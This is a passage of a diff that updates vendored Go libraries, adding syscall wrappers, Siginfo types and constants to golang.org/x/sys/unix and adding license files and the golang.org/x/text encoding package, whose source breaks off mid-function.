||||
|
||||
// peIntToExt converts a cgo portEvent struct into the friendlier PortEvent
|
||||
// NOTE: Always call this function while holding the e.mu mutex
|
||||
func (e *EventPort) peIntToExt(peInt *portEvent, peExt *PortEvent) {
|
||||
peExt.Events = peInt.Events
|
||||
peExt.Source = peInt.Source
|
||||
cookie := (*interface{})(unsafe.Pointer(peInt.User))
|
||||
peExt.Cookie = *cookie
|
||||
switch peInt.Source {
|
||||
case PORT_SOURCE_FD:
|
||||
delete(e.cookies, cookie)
|
||||
peExt.Fd = uintptr(peInt.Object)
|
||||
// Only remove the fds entry if it exists and this cookie matches
|
||||
if fobj, ok := e.fds[peExt.Fd]; ok {
|
||||
if &fobj.cookie == cookie {
|
||||
delete(e.fds, peExt.Fd)
|
||||
}
|
||||
}
|
||||
case PORT_SOURCE_FILE:
|
||||
if fCookie, ok := e.cookies[cookie]; ok && uintptr(unsafe.Pointer(fCookie.fobj)) == uintptr(peInt.Object) {
|
||||
// Use our stashed reference rather than using unsafe on what we got back
|
||||
// the unsafe version would be (*fileObj)(unsafe.Pointer(uintptr(peInt.Object)))
|
||||
peExt.fobj = fCookie.fobj
|
||||
} else {
|
||||
panic("mismanaged memory")
|
||||
}
|
||||
delete(e.cookies, cookie)
|
||||
peExt.Path = BytePtrToString((*byte)(unsafe.Pointer(peExt.fobj.Name)))
|
||||
// Only remove the paths entry if it exists and this cookie matches
|
||||
if fobj, ok := e.paths[peExt.Path]; ok {
|
||||
if &fobj.cookie == cookie {
|
||||
delete(e.paths, peExt.Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Pending wraps port_getn(3c) and returns how many events are pending.
|
||||
func (e *EventPort) Pending() (int, error) {
|
||||
var n uint32 = 0
|
||||
@@ -962,21 +998,7 @@ func (e *EventPort) Get(s []PortEvent, min int, timeout *Timespec) (int, error)
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
for i := 0; i < int(got); i++ {
|
||||
s[i].Events = ps[i].Events
|
||||
s[i].Source = ps[i].Source
|
||||
switch ps[i].Source {
|
||||
case PORT_SOURCE_FD:
|
||||
s[i].Fd = uintptr(ps[i].Object)
|
||||
cookie := (*interface{})(unsafe.Pointer(ps[i].User))
|
||||
s[i].Cookie = *cookie
|
||||
delete(e.fds, s[i].Fd)
|
||||
case PORT_SOURCE_FILE:
|
||||
s[i].fobj = (*fileObj)(unsafe.Pointer(uintptr(ps[i].Object)))
|
||||
s[i].Path = BytePtrToString((*byte)(unsafe.Pointer(s[i].fobj.Name)))
|
||||
cookie := (*interface{})(unsafe.Pointer(ps[i].User))
|
||||
s[i].Cookie = *cookie
|
||||
delete(e.paths, s[i].Path)
|
||||
}
|
||||
e.peIntToExt(&ps[i], &s[i])
|
||||
}
|
||||
return int(got), err
|
||||
}
|
||||
+27
@@ -337,6 +337,33 @@ func Recvfrom(fd int, p []byte, flags int) (n int, from Sockaddr, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
var rsa RawSockaddrAny
|
||||
n, oobn, recvflags, err = recvmsgRaw(fd, p, oob, flags, &rsa)
|
||||
// source address is only specified if the socket is unconnected
|
||||
if rsa.Addr.Family != AF_UNSPEC {
|
||||
from, err = anyToSockaddr(fd, &rsa)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
var ptr unsafe.Pointer
|
||||
var salen _Socklen
|
||||
if to != nil {
|
||||
ptr, salen, err = to.sockaddr()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
return sendmsgN(fd, p, oob, ptr, salen, flags)
|
||||
}
|
||||
|
||||
func Send(s int, buf []byte, flags int) (err error) {
|
||||
return sendto(s, buf, flags, nil, 0)
|
||||
}
|
||||
|
||||
+4
@@ -2135,6 +2135,10 @@ const (
|
||||
PTRACE_SYSCALL_INFO_NONE = 0x0
|
||||
PTRACE_SYSCALL_INFO_SECCOMP = 0x3
|
||||
PTRACE_TRACEME = 0x0
|
||||
P_ALL = 0x0
|
||||
P_PGID = 0x2
|
||||
P_PID = 0x1
|
||||
P_PIDFD = 0x3
|
||||
QNX4_SUPER_MAGIC = 0x2f
|
||||
QNX6_SUPER_MAGIC = 0x68191122
|
||||
RAMFS_MAGIC = 0x858458f6
|
||||
|
||||
+9
-4
@@ -643,17 +643,22 @@ var libc_flistxattr_trampoline_addr uintptr
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
|
||||
_, _, e1 := syscall_syscall6(libc_setattrlist_trampoline_addr, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
|
||||
func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
|
||||
var _p0 *byte
|
||||
_p0, err = BytePtrFromString(path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _, e1 := syscall_syscall6(libc_utimensat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
var libc_setattrlist_trampoline_addr uintptr
|
||||
var libc_utimensat_trampoline_addr uintptr
|
||||
|
||||
//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
|
||||
//go:cgo_import_dynamic libc_utimensat utimensat "/usr/lib/libSystem.B.dylib"
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
|
||||
+4
-4
@@ -228,11 +228,11 @@ TEXT libc_flistxattr_trampoline<>(SB),NOSPLIT,$0-0
|
||||
GLOBL ·libc_flistxattr_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_flistxattr_trampoline_addr(SB)/8, $libc_flistxattr_trampoline<>(SB)
|
||||
|
||||
TEXT libc_setattrlist_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_setattrlist(SB)
|
||||
TEXT libc_utimensat_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_utimensat(SB)
|
||||
|
||||
GLOBL ·libc_setattrlist_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_setattrlist_trampoline_addr(SB)/8, $libc_setattrlist_trampoline<>(SB)
|
||||
GLOBL ·libc_utimensat_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_utimensat_trampoline_addr(SB)/8, $libc_utimensat_trampoline<>(SB)
|
||||
|
||||
TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_fcntl(SB)
|
||||
|
||||
+9
-4
@@ -643,17 +643,22 @@ var libc_flistxattr_trampoline_addr uintptr
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
|
||||
_, _, e1 := syscall_syscall6(libc_setattrlist_trampoline_addr, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
|
||||
func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
|
||||
var _p0 *byte
|
||||
_p0, err = BytePtrFromString(path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _, e1 := syscall_syscall6(libc_utimensat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
var libc_setattrlist_trampoline_addr uintptr
|
||||
var libc_utimensat_trampoline_addr uintptr
|
||||
|
||||
//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
|
||||
//go:cgo_import_dynamic libc_utimensat utimensat "/usr/lib/libSystem.B.dylib"
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
|
||||
+4
-4
@@ -228,11 +228,11 @@ TEXT libc_flistxattr_trampoline<>(SB),NOSPLIT,$0-0
|
||||
GLOBL ·libc_flistxattr_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_flistxattr_trampoline_addr(SB)/8, $libc_flistxattr_trampoline<>(SB)
|
||||
|
||||
TEXT libc_setattrlist_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_setattrlist(SB)
|
||||
TEXT libc_utimensat_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_utimensat(SB)
|
||||
|
||||
GLOBL ·libc_setattrlist_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_setattrlist_trampoline_addr(SB)/8, $libc_setattrlist_trampoline<>(SB)
|
||||
GLOBL ·libc_utimensat_trampoline_addr(SB), RODATA, $8
|
||||
DATA ·libc_utimensat_trampoline_addr(SB)/8, $libc_utimensat_trampoline<>(SB)
|
||||
|
||||
TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
|
||||
JMP libc_fcntl(SB)
|
||||
|
||||
+20
@@ -231,6 +231,16 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func Waitid(idType int, id int, info *Siginfo, options int, rusage *Rusage) (err error) {
|
||||
_, _, e1 := Syscall6(SYS_WAITID, uintptr(idType), uintptr(id), uintptr(unsafe.Pointer(info)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0)
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
|
||||
r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
|
||||
ret = int(r0)
|
||||
@@ -1992,6 +2002,16 @@ func PidfdGetfd(pidfd int, targetfd int, flags int) (fd int, err error) {
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func PidfdSendSignal(pidfd int, sig Signal, info *Siginfo, flags int) (err error) {
|
||||
_, _, e1 := Syscall6(SYS_PIDFD_SEND_SIGNAL, uintptr(pidfd), uintptr(sig), uintptr(unsafe.Pointer(info)), uintptr(flags), 0, 0)
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func shmat(id int, addr uintptr, flag int) (ret uintptr, err error) {
|
||||
r0, _, e1 := Syscall(SYS_SHMAT, uintptr(id), uintptr(addr), uintptr(flag))
|
||||
ret = uintptr(r0)
|
||||
|
||||
+7
@@ -250,6 +250,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -265,6 +265,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+7
@@ -241,6 +241,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -244,6 +244,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+7
@@ -246,6 +246,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x80
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Code int32
|
||||
Errno int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -247,6 +247,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x80
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Code int32
|
||||
Errno int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -247,6 +247,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x80
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Code int32
|
||||
Errno int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+7
@@ -246,6 +246,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x80
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Code int32
|
||||
Errno int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+7
@@ -253,6 +253,13 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ [116]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -254,6 +254,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -254,6 +254,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -272,6 +272,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -267,6 +267,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+8
@@ -249,6 +249,14 @@ type Sigset_t struct {
|
||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+3
-4
@@ -10,6 +10,7 @@ import (
|
||||
errorspkg "errors"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
@@ -86,10 +87,8 @@ func StringToUTF16(s string) []uint16 {
|
||||
// s, with a terminating NUL added. If s contains a NUL byte at any
|
||||
// location, it returns (nil, syscall.EINVAL).
|
||||
func UTF16FromString(s string) ([]uint16, error) {
|
||||
for i := 0; i < len(s); i++ {
|
||||
if s[i] == 0 {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
if strings.IndexByte(s, 0) != -1 {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
return utf16.Encode([]rune(s + "\x00")), nil
|
||||
}
|
||||
|
||||
+3
@@ -0,0 +1,3 @@
|
||||
# This source code refers to The Go Authors for copyright purposes.
|
||||
# The master list of authors is in the main Go distribution,
|
||||
# visible at http://tip.golang.org/AUTHORS.
|
||||
+3
@@ -0,0 +1,3 @@
|
||||
# This source code was written by the Go contributors.
|
||||
# The master list of contributors is in the main Go distribution,
|
||||
# visible at http://tip.golang.org/CONTRIBUTORS.
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
Copyright (c) 2009 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
* Neither the name of Google Inc. nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
Additional IP Rights Grant (Patents)
|
||||
|
||||
"This implementation" means the copyrightable works distributed by
|
||||
Google as part of the Go project.
|
||||
|
||||
Google hereby grants to You a perpetual, worldwide, non-exclusive,
|
||||
no-charge, royalty-free, irrevocable (except as stated in this section)
|
||||
patent license to make, have made, use, offer to sell, sell, import,
|
||||
transfer and otherwise run, modify and propagate the contents of this
|
||||
implementation of Go, where such license applies only to those patent
|
||||
claims, both currently owned or controlled by Google and acquired in
|
||||
the future, licensable by Google that are necessarily infringed by this
|
||||
implementation of Go. This grant does not include claims that would be
|
||||
infringed only as a consequence of further modification of this
|
||||
implementation. If you or your agent or exclusive licensee institute or
|
||||
order or agree to the institution of patent litigation against any
|
||||
entity (including a cross-claim or counterclaim in a lawsuit) alleging
|
||||
that this implementation of Go or any code incorporated within this
|
||||
implementation of Go constitutes direct or contributory patent
|
||||
infringement, or inducement of patent infringement, then any patent
|
||||
rights granted to you under this License for this implementation of Go
|
||||
shall terminate as of the date such litigation is filed.
|
||||
+335
@@ -0,0 +1,335 @@
|
||||
// Copyright 2013 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package encoding defines an interface for character encodings, such as Shift
|
||||
// JIS and Windows 1252, that can convert to and from UTF-8.
|
||||
//
|
||||
// Encoding implementations are provided in other packages, such as
|
||||
// golang.org/x/text/encoding/charmap and
|
||||
// golang.org/x/text/encoding/japanese.
|
||||
package encoding // import "golang.org/x/text/encoding"
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
"strconv"
|
||||
"unicode/utf8"
|
||||
|
||||
"golang.org/x/text/encoding/internal/identifier"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// TODO:
|
||||
// - There seems to be some inconsistency in when decoders return errors
|
||||
// and when not. Also documentation seems to suggest they shouldn't return
|
||||
// errors at all (except for UTF-16).
|
||||
// - Encoders seem to rely on or at least benefit from the input being in NFC
|
||||
// normal form. Perhaps add an example how users could prepare their output.
|
||||
|
||||
// Encoding is a character set encoding that can be transformed to and from
|
||||
// UTF-8.
|
||||
type Encoding interface {
|
||||
// NewDecoder returns a Decoder.
|
||||
NewDecoder() *Decoder
|
||||
|
||||
// NewEncoder returns an Encoder.
|
||||
NewEncoder() *Encoder
|
||||
}
|
||||
|
||||
// A Decoder converts bytes to UTF-8. It implements transform.Transformer.
|
||||
//
|
||||
// Transforming source bytes that are not of that encoding will not result in an
|
||||
// error per se. Each byte that cannot be transcoded will be represented in the
|
||||
// output by the UTF-8 encoding of '\uFFFD', the replacement rune.
|
||||
type Decoder struct {
|
||||
transform.Transformer
|
||||
|
||||
// This forces external creators of Decoders to use names in struct
|
||||
// initializers, allowing for future extendibility without having to break
|
||||
// code.
|
||||
_ struct{}
|
||||
}
|
||||
|
||||
// Bytes converts the given encoded bytes to UTF-8. It returns the converted
|
||||
// bytes or nil, err if any error occurred.
|
||||
func (d *Decoder) Bytes(b []byte) ([]byte, error) {
|
||||
b, _, err := transform.Bytes(d, b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// String converts the given encoded string to UTF-8. It returns the converted
|
||||
// string or "", err if any error occurred.
|
||||
func (d *Decoder) String(s string) (string, error) {
|
||||
s, _, err := transform.String(d, s)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// Reader wraps another Reader to decode its bytes.
|
||||
//
|
||||
// The Decoder may not be used for any other operation as long as the returned
|
||||
// Reader is in use.
|
||||
func (d *Decoder) Reader(r io.Reader) io.Reader {
|
||||
return transform.NewReader(r, d)
|
||||
}
|
||||
|
||||
// An Encoder converts bytes from UTF-8. It implements transform.Transformer.
|
||||
//
|
||||
// Each rune that cannot be transcoded will result in an error. In this case,
|
||||
// the transform will consume all source byte up to, not including the offending
|
||||
// rune. Transforming source bytes that are not valid UTF-8 will be replaced by
|
||||
// `\uFFFD`. To return early with an error instead, use transform.Chain to
|
||||
// preprocess the data with a UTF8Validator.
|
||||
type Encoder struct {
|
||||
transform.Transformer
|
||||
|
||||
// This forces external creators of Encoders to use names in struct
|
||||
// initializers, allowing for future extendibility without having to break
|
||||
// code.
|
||||
_ struct{}
|
||||
}
|
||||
|
||||
// Bytes converts bytes from UTF-8. It returns the converted bytes or nil, err if
|
||||
// any error occurred.
|
||||
func (e *Encoder) Bytes(b []byte) ([]byte, error) {
|
||||
b, _, err := transform.Bytes(e, b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// String converts a string from UTF-8. It returns the converted string or
|
||||
// "", err if any error occurred.
|
||||
func (e *Encoder) String(s string) (string, error) {
|
||||
s, _, err := transform.String(e, s)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// Writer wraps another Writer to encode its UTF-8 output.
|
||||
//
|
||||
// The Encoder may not be used for any other operation as long as the returned
|
||||
// Writer is in use.
|
||||
func (e *Encoder) Writer(w io.Writer) io.Writer {
|
||||
return transform.NewWriter(w, e)
|
||||
}
|
||||
|
||||
// ASCIISub is the ASCII substitute character, as recommended by
|
||||
// https://unicode.org/reports/tr36/#Text_Comparison
|
||||
const ASCIISub = '\x1a'
|
||||
|
||||
// Nop is the nop encoding. Its transformed bytes are the same as the source
|
||||
// bytes; it does not replace invalid UTF-8 sequences.
|
||||
var Nop Encoding = nop{}
|
||||
|
||||
type nop struct{}
|
||||
|
||||
func (nop) NewDecoder() *Decoder {
|
||||
return &Decoder{Transformer: transform.Nop}
|
||||
}
|
||||
func (nop) NewEncoder() *Encoder {
|
||||
return &Encoder{Transformer: transform.Nop}
|
||||
}
|
||||
|
||||
// Replacement is the replacement encoding. Decoding from the replacement
|
||||
// encoding yields a single '\uFFFD' replacement rune. Encoding from UTF-8 to
|
||||
// the replacement encoding yields the same as the source bytes except that
|
||||
// invalid UTF-8 is converted to '\uFFFD'.
|
||||
//
|
||||
// It is defined at http://encoding.spec.whatwg.org/#replacement
|
||||
var Replacement Encoding = replacement{}
|
||||
|
||||
type replacement struct{}
|
||||
|
||||
func (replacement) NewDecoder() *Decoder {
|
||||
return &Decoder{Transformer: replacementDecoder{}}
|
||||
}
|
||||
|
||||
func (replacement) NewEncoder() *Encoder {
|
||||
return &Encoder{Transformer: replacementEncoder{}}
|
||||
}
|
||||
|
||||
func (replacement) ID() (mib identifier.MIB, other string) {
|
||||
return identifier.Replacement, ""
|
||||
}
|
||||
|
||||
type replacementDecoder struct{ transform.NopResetter }
|
||||
|
||||
func (replacementDecoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
if len(dst) < 3 {
|
||||
return 0, 0, transform.ErrShortDst
|
||||
}
|
||||
if atEOF {
|
||||
const fffd = "\ufffd"
|
||||
dst[0] = fffd[0]
|
||||
dst[1] = fffd[1]
|
||||
dst[2] = fffd[2]
|
||||
nDst = 3
|
||||
}
|
||||
return nDst, len(src), nil
|
||||
}
|
||||
|
||||
type replacementEncoder struct{ transform.NopResetter }
|
||||
|
||||
func (replacementEncoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
r, size := rune(0), 0
|
||||
|
||||
for ; nSrc < len(src); nSrc += size {
|
||||
r = rune(src[nSrc])
|
||||
|
||||
// Decode a 1-byte rune.
|
||||
if r < utf8.RuneSelf {
|
||||
size = 1
|
||||
|
||||
} else {
|
||||
// Decode a multi-byte rune.
|
||||
r, size = utf8.DecodeRune(src[nSrc:])
|
||||
if size == 1 {
|
||||
// All valid runes of size 1 (those below utf8.RuneSelf) were
|
||||
// handled above. We have invalid UTF-8 or we haven't seen the
|
||||
// full character yet.
|
||||
if !atEOF && !utf8.FullRune(src[nSrc:]) {
|
||||
err = transform.ErrShortSrc
|
||||
break
|
||||
}
|
||||
r = '\ufffd'
|
||||
}
|
||||
}
|
||||
|
||||
if nDst+utf8.RuneLen(r) > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
nDst += utf8.EncodeRune(dst[nDst:], r)
|
||||
}
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
|
||||
// HTMLEscapeUnsupported wraps encoders to replace source runes outside the
|
||||
// repertoire of the destination encoding with HTML escape sequences.
|
||||
//
|
||||
// This wrapper exists to comply to URL and HTML forms requiring a
|
||||
// non-terminating legacy encoder. The produced sequences may lead to data
|
||||
// loss as they are indistinguishable from legitimate input. To avoid this
|
||||
// issue, use UTF-8 encodings whenever possible.
|
||||
func HTMLEscapeUnsupported(e *Encoder) *Encoder {
|
||||
return &Encoder{Transformer: &errorHandler{e, errorToHTML}}
|
||||
}
|
||||
|
||||
// ReplaceUnsupported wraps encoders to replace source runes outside the
|
||||
// repertoire of the destination encoding with an encoding-specific
|
||||
// replacement.
|
||||
//
|
||||
// This wrapper is only provided for backwards compatibility and legacy
|
||||
// handling. Its use is strongly discouraged. Use UTF-8 whenever possible.
|
||||
func ReplaceUnsupported(e *Encoder) *Encoder {
|
||||
return &Encoder{Transformer: &errorHandler{e, errorToReplacement}}
|
||||
}
|
||||
|
||||
type errorHandler struct {
|
||||
*Encoder
|
||||
handler func(dst []byte, r rune, err repertoireError) (n int, ok bool)
|
||||
}
|
||||
|
||||
// TODO: consider making this error public in some form.
|
||||
type repertoireError interface {
|
||||
Replacement() byte
|
||||
}
|
||||
|
||||
func (h errorHandler) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
nDst, nSrc, err = h.Transformer.Transform(dst, src, atEOF)
|
||||
for err != nil {
|
||||
rerr, ok := err.(repertoireError)
|
||||
if !ok {
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
r, sz := utf8.DecodeRune(src[nSrc:])
|
||||
